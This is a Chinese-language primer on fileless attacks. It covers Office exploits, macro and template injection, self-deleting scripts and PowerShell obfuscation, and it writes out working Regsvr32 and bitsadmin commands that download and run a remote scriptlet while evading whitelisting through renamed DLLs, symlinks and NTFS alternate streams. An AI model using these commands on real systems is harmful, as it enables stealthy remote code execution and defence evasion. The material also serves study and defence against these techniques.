无文件攻击方式简介

无文件攻击方式简介

“无文件攻击”属于一种影响力非常大的安全威胁。攻击者在利用这种技术实施攻击时,不会在目标主机的磁盘上写入任何的恶意文件,因此而得名“无文件攻击”,部分无文件攻击甚至会删除自身以达到无法被捕获的目的,无文件攻击多使用 “白加黑”,“恶意文档”,“ 内存注入”,等方式绕过众多的反恶意技术的控制,包括应用白名单策略 ,使得难以防范。

0x01 恶意文档

Office远程命令执行

例:CVE-2017-11882

https://github.com/Ridter/CVE-2017-11882

例:CVE-2018-0802

https://github.com/rxwx/CVE-2018-0802

Docx远程模板注入

建立一个插入恶意宏的Docx模板,再以该恶意模板创建一个正常文档。

普通VBA,VBS宏注入

直接将宏代码插入到文档。

0x02 恶意脚本

其实笔者还见过部分脚本,最后一句为del %0,靠删除自身来达成的无文件。所以基与此,笔者认为命令行脚本都可以在最后加上这种清除痕迹的操作。

PowerShell脚本

powershell恶意代码执行,内存注入,远程脚本注入,wmic。

PowerShell混淆

https://github.com/danielbohannon/Invoke-Obfuscation

https://github.com/trustedsec/unicorn

Bat脚本

白加黑,wmic

0x03 Living off the Land

对 Microsoft Windows 众多内置工具的滥用。

bypass技巧
  • 将利用的源文件改名。
1
2
copy c:\windows\system32\scrobj.dll NothingToSeeHere.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct NothingToSeeHere.dll
  • 建立指向该文件的符号链接
1
2
Mklink Dave_LovesThis.dll c:\windows\system32\scrobj.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Dave_LovesThis.dll
  • NTFS 数据流隐写
1
2
Type c:\windows\system32\scrobj.dll > Just_A_Normal_TextFile.txt:PlacingTheDLLHere
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Just_A_Normal_TextFile.txt:PlacingTheDLLHere
  • 本地执行,或者下载到本地执行
1
2
3
Regsvr32.exe /u /s /i:c:\experiments\regsvr32\Regsvr32_calc.sct scrobj.dll
下载执行
bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP%\test.txt && regsvr32.exe /s /u /i:%TEMP%\test.txt scrobj.dll

https://github.com/LOLBAS-Project/LOLBAS

https://github.com/Micropoor/Micro8

avatar